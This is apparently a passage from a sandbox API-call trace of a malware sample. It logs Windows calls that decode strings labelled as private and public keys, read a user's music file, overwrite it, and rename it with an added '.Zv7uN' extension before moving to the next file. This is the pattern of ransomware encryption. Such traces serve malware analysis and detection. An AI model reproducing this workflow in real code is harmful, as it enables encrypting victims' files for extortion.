MKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.573] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.575] GetCurrentThreadId () returned 0xa30 [0086.575] GetCurrentThreadId () returned 0xa30 [0086.575] GetCurrentThreadId () returned 0xa30 [0086.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.575] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.576] GetCurrentThreadId () returned 0xa30 [0086.576] GetCurrentThreadId () returned 0xa30 [0086.576] GetCurrentThreadId () returned 0xa30 [0086.576] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\A-cejVo6i.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\a-cejvo6i.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.576] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.576] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.576] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x14e7a [0086.577] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.577] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x14e7a, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0x14e7a, lpOverlapped=0x0) returned 1 [0086.580] CloseHandle (hObject=0x11c) returned 1 [0086.581] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\A-cejVo6i.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\a-cejvo6i.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.584] WriteFile (in: hFile=0x11c, lpBuffer=0x1f2ee00*, nNumberOfBytesToWrite=0x14e7a, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f2ee00*, lpNumberOfBytesWritten=0x18f3e0*=0x14e7a, lpOverlapped=0x0) returned 1 [0086.590] CloseHandle (hObject=0x11c) returned 1 [0086.592] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\A-cejVo6i.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\a-cejvo6i.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\A-cejVo6i.mp3.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\a-cejvo6i.mp3.zv7un")) returned 1 [0086.593] GetCurrentThreadId () returned 0xa30 [0086.593] GetCurrentThreadId () returned 0xa30 [0086.593] GetCurrentThreadId () returned 0xa30 [0086.593] GetCurrentThreadId () returned 0xa30 [0086.593] GetCurrentThreadId () returned 0xa30 [0086.593] GetCurrentThreadId () returned 0xa30 [0086.593] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e13f0, ftCreationTime.dwHighDateTime=0x1d5df69, ftLastAccessTime.dwLowDateTime=0x63003460, ftLastAccessTime.dwHighDateTime=0x1d5e5a5, ftLastWriteTime.dwLowDateTime=0x63003460, ftLastWriteTime.dwHighDateTime=0x1d5e5a5, nFileSizeHigh=0x0, nFileSizeLow=0xcbd8, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="dcuEUUO6h.m4a", cAlternateFileName="DCUEUU~1.M4A")) returned 1 [0086.593] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.594] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.594] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\dcuEUUO6h.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\dcueuuo6h.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e13f0, ftCreationTime.dwHighDateTime=0x1d5df69, ftLastAccessTime.dwLowDateTime=0x63003460, ftLastAccessTime.dwHighDateTime=0x1d5e5a5, ftLastWriteTime.dwLowDateTime=0x63003460, ftLastWriteTime.dwHighDateTime=0x1d5e5a5, nFileSizeHigh=0x0, nFileSizeLow=0xcbd8)) returned 1 [0086.594] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\dcuEUUO6h.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\dcueuuo6h.m4a")) returned 0x20 [0086.594] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\dcuEUUO6h.m4a", dwFileAttributes=0x80) returned 1 [0086.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.596] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDs